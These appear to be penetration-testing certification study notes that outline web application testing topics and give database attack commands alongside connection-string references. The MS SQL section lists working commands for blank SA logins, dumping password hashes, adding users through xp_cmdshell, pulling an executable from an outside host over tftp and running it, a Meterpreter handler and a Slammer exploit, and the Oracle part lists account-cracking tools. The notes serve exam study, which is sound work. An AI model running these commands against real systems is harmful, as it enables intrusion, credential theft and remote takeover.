- Identify Technologies - This involves reviewing returned content and noting the technologies used be it thin or thick client or server technologies. Using both tools and google searches to discover servers and add-ons. Use extensions and directory structures to determine this. Note: why isn't this automated and within current application scanners?
- Map the Attack Surface - This involves determining what the structure and functionality of different parts of the app are and what likely technologies deliver them. Try to identify the common vulnerabilities of these to tune your testing. Create an attack plan and prioritise the most interesting functions to allow best use of available time.

H1c - Methods to identify the use of application components defined in G1 to G9

H2 - Threat Modelling and Attack Vectors

H2a - Simple threat modelling based on customer perception of risk

H2b - Relate functionality offered by the application to potential attack vectors

H3 - Information Gathering from Web Mark-up

H3a - Examples of the type of information available in web page source that may prove useful to an attacker:

- Hidden Form Fields
- Database Connection Strings
- Credentials
- Developer Comments
- Other included files
- Authenticated-only URLs

H4 - Authentication Mechanisms

H4a - Common pitfalls associated with the design and implementation of application authentication mechanisms

H5 - Authorisation Mechanism

H5a - Common pitfalls associated with the design and implementation of application authorisation mechanisms

H6 - Input Validation

H6a - The importance of input validation as part of a defensive coding strategy

H6b - How input validation can be implemented and the differences between white listing, black listing and data sanitisation

H8 - Information Disclosure in Error Messages

H8a - How error messages may indicate or disclose useful information

H9 - Use of Cross Site Scripting Attacks

H9a - Potential implications of a cross site scripting vulnerability

H9b - Ways in which the technique can be used to benefit an attacker

H10 - Use of Injection Attacks

H10a - Potential implications of injection vulnerabilities:

- SQL injection
- LDAP injection
- Code injection
- XML injection

H10b - Ways in which these techniques can be used to benefit an attacker

H11 - Session Handling

H11a - Common pitfalls associated with the design and implementation of session handling mechanisms

H12 – Encryption

H12a - Common techniques used for encrypting data in transit and data at rest, either on the client or server side

H13 - Source Code Review

H13a - Common techniques for identifying and reviewing deficiencies in the areas of security

Web Testing Techniques

ID	Skill	Detail	Exam
I10	Code Injection	Investigate and exploitation of code injection vulnerabilities within web applications	MC
I11	CRLF Attacks	Assessment of web applications for CRLF vulnerabilities	MC
I12	Application Logic Flaws	Assessing the logic flow within an application and the potential for subverting the logic.	MC

I10 - Code Injection

I10a - Investigate and exploitation of code injection vulnerabilities within web applications

The topic of code injection is huge, encompassing dozens of different languages and environments, and a variety of different attacks. The most common web application code injection vulnerabilities include injection into SQL, web scripting languages, SOAP, XML, XPath, email, LDAP and the server operating system.

Web hacker handbook page 237 onwards

I11 - CRLF Attacks

I11b - Assessment of web applications for CRLF vulnerabilities

- CRLF attacks arise where the Carriage-return (0x0d) and /or Line-feed (0x0a) characters within user controlled data is inserted in an unsafe manner into an HTTP response header by the application. If the attacker can inject CRLF characters into the header he controls, he can insert additional HTTP headers into the response and can write arbitrary content onto the body of the response.

Web hackers handbook page 434-439

I12 - Application Logic Flaws

I12 - Assessing the logic flow within an application and the potential for subverting the logic

Web hackers handbook page 349 onwards

Databases

ID	Skill	Detail	Exam
J1	Microsoft SQL Server	Knowledge of common attack vectors for Microsoft SQL Server. Understanding of privilege escalation and attack techniques for a system compromised via database connections.	MCP
J2	Oracle RDBMS	Derivation of version and patch information from hosts running Oracle software. Default Oracle accounts.	MCP
J3	Web / App / Database Connectivity	Common databases (MS SQL server, Oracle, MySQL and Access) and the connection and authentication methods used by web applications.	MCP

J1 - Microsoft SQL Server

J1a - Knowledge of common attack vectors for Microsoft SQL Server. Understanding of privilege escalation and attack techniques for a system compromised via database connections

Password brute force:

```
SQLDict.exe
```

Blank SA password:

```
sqsh -S <ip> -U sa
osql.exe -S <ip>/<instance> -U sa -P ""
```

Getting Version:

```
select @@version;
```

Getting Hashes:

```
SELECT name, password FROM master..sysxlogins;              (2000)
SELECT name, password_hash FROM master.sys.sql_logins       (2005)
```

Command Execution:

```
EXEC xp_cmdshell 'net user test Password1 /add';
```

Re-Enabling cmdshell:

```
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

Getting a Shell:

```
EXEC xp_cmdshell 'tftp -i <ip> get mt.exe %TEMP%\mt.exe';
EXEC xp_cmdshell '%TEMP%\mt.exe';
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=<ip> E
```

Slammer (MS02-039):

```
msfcli exploit/windows/mssql/ms02_039_slammer RHOST=<IP>
PAYLOAD=windows/shell/bind_tcp E
```

J2 - Oracle RDBMS

Enumerating:

You can gather information from the tnslistener, (often not password protected on version 9i.) this holds important information such as the database version, instances or SID's, location of the log file, etc.

```
tnscmd.pl ping|version|status -h <ip> -p <port>
tnscmd10g.pl ping|version|status -h <ip> -p <port>
```

Use oscanner to detect/crack accounts:

```
oscanner.exe -s <ip> -r <outfile> -P <port>
reportviewer <file>
```

J2a - Derivation of version and patch information from hosts running Oracle software

Simply load sqlplus with a similar command to

```
sqlplus <username>/<password>@<ip_address>/<SID>;
```

If an account has system database priviledges (sysdba) or system operator (sysop) you may wish to try the following

```
sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba';
```

J2b - Default Oracle accounts

DefaultOraclePassword.mht

checkpwd:

```
checkpwd -quiet system/manager@mydbserver:port/SID default_passwords.txt
```

J3 - Web / App / Database Connectivity

J3a - Common databases (MS SQL server, Oracle, MySQL and Access) and the connection and authentication methods used by web applications

MS-SQL

Using ODBC or JDBC authentication is in the connection string.

1. SQL ODBC connection strings

- Standard Security:

```
"Driver={SQLServer};Server=Your_Server_Name;Database=Your_Database_Name;Uid=Your_Us
ername;Pwd=Your_Password;"
```

- Trusted connection:

```
"Driver={SQLServer};Server=Your_Server_Name;Database=Your_Database_Name;Trusted_Con
nection=yes;"
```

2. SQL OLE DB connection strings

- Standard Security:

```
"Provider=SQLOLEDB;Data Source=Your_Server_Name;Initial
Catalog=Your_Database_Name;UserId=Your_Username;Password=Your_Password;"
```

- Trusted connection:

```
"Provider=SQLOLEDB;Data Source=Your_Server_Name;Initial
Catalog=Your_Database_Name;Integrated Security=SSPI;"
```

3. SQL SqlConnection .NET strings

- Standard Security:

```
"Data Source=Your_Server_Name;Initial
Catalog=Your_Database_Name;UserId=Your_Username;Password=Your_Password;"
"Server=Your_Server_Name;Database=Your_Database_Name;UserID=Your_Username;Password=
Your_Password;Trusted_Connection=False"
```

- Trusted connection:

```
"Data Source=Your_Server_Name;Initial Catalog=Your_Database_Name;Integrated
Security=SSPI;"
"Server=Your_Server_Name;Database=Your_Database_Name;Trusted_Connection=True;"
```

Oracle:

Connection to Oracle can be through a TNS connection, LDAP connection, OS authentication, proxy authentication.

1. Oracle ODBC connection strings

- Open connection to Oracle database using ODBC

```
"Driver= {Microsoft
ODBCforOracle};Server=Your_Oracle_Server.world;Uid=Your_Username;Pwd=Your_Password;
"
```

2. Oracle OLE DB & OleDbConnection (.NET framework) connection strings

- Open connection to Oracle database with standard security:

```
"Provider=MSDAORA;Data
Source=Your_Oracle_Database;UserId=Your_Username;Password=Your_Password;"
"Provider=OraOLEDB.Oracle;Your_Oracle_Database;UserId=Your_Username;Password=Your_P
assword;"
```

- Open trusted connection to Oracle database

```
"Provider= OraOLEDB.Oracle;DataSource=Your_Oracle_Database;OSAuthent=1;"
```

MYSQL:

1. MySQL ODBC connection strings

- Open connection to local MySQL database using MySQL ODBC 3.51 Driver

```
"Provider=MSDASQL; DRIVER={MySQL ODBC 3.51Driver}; SERVER= localhost;
DATABASE=Your_MySQL_Database; UID= Your_Username;PASSWORD=Your_Password; OPTION=3"
```

2. MySQL OLE DB & OleDbConnection (.NET framework) connection strings

- Open connection to MySQL database:

```
"Provider=MySQLProv;Data Source=Your_MySQL_Database;User Id=Your_Username;
Password=Your_Password;"
```

Access:

1. DNS-less Database Connection

The easiest way to connect to a database is to use a DSN-less connection. A DSN-less connection can be used against any Microsoft Access database on your web site. If you have a database called "northwind.mdb" located in a web directory like "c:/webdata/", you can connect to the database with the following ASP code:

```
<%set conn=Server.CreateObject("ADODB.Connection")
conn.Provider="Microsoft.Jet.OLEDB.4.0"conn.Open "c:/webdata/northwind.mdb"%>
```

Note, from the example above, that you have to specify the Microsoft Access database driver (Provider) and the physical path to the database on your computer.

2. DSN Connection

Create an ODBC Database Connection. If you have an ODBC database called "northwind" you can connect to the database with the following ASP code:

```
<%set conn=Server.CreateObject("ADODB.Connection") conn.Open "northwind"%>
```

With an ODBC connection, you can connect to any database, on any computer in your network, as long as an ODBC connection is available.

3. MS Access ODBC connection strings

- Standard Security:

```
"Driver=
{MicrosoftAccessDriver(*.mdb)};DBQ=C:\App1\Your_Database_Name.mdb;Uid=Your_Username
;Pwd=Your_Password;"
```

- Workgroup:

```
"Driver={Microsoft Access Driver (*.mdb)}; Dbq=C:\App1\Your_Database_Name.mdb;
SystemDB=C:\App1\Your_Database_Name.mdw;"
```

- Exclusive:

```
 "Driver={Microsoft Access Driver (*.mdb)}; DBQ=C:\App1\Your_Database_Name.mdb;
Exclusive=1; Uid=Your_Username; Pwd=Your_Password;"
```

4. MS Access OLE DB & OleDbConnection (.NET framework) connection strings

- Open connection to Access database:

```
"Provider=Microsoft.Jet.OLEDB.4.0; Data Source=c:\App1\Your_Database_Name.mdb; User
Id=admin; Password="
```

- Open connection to Access database using Workgroup (System database):

```
"Provider=Microsoft.Jet.OLEDB.4.0; Data Source=c:\App1\Your_Database_Name.mdb; Jet 
OLEDB:System Database=c:\App1\Your_System_Database_Name.mdw"
```

- Open connection to password protected Access database:

```
"Provider=Microsoft.Jet.OLEDB.4.0; Data Source=c:\App1\Your_Database_Name.mdb; Jet 
OLEDB:Database Password=Your_Password"
```

- Open connection to Access database located on a network share:

```
"Provider=Microsoft.Jet.OLEDB.4.0; Data 
Source=\\Server_Name\Share_Name\Share_Path\Your_Database_Name.mdb"
```

- Open connection to Access database located on a remote server:

```
"Provider=MS Remote; Remote Server=http://Your-Remote-Server-IP; Remote 
Provider=Microsoft.Jet.OLEDB.4.0; Data Source=c:\App1\Your_Database_Name.mdb"
```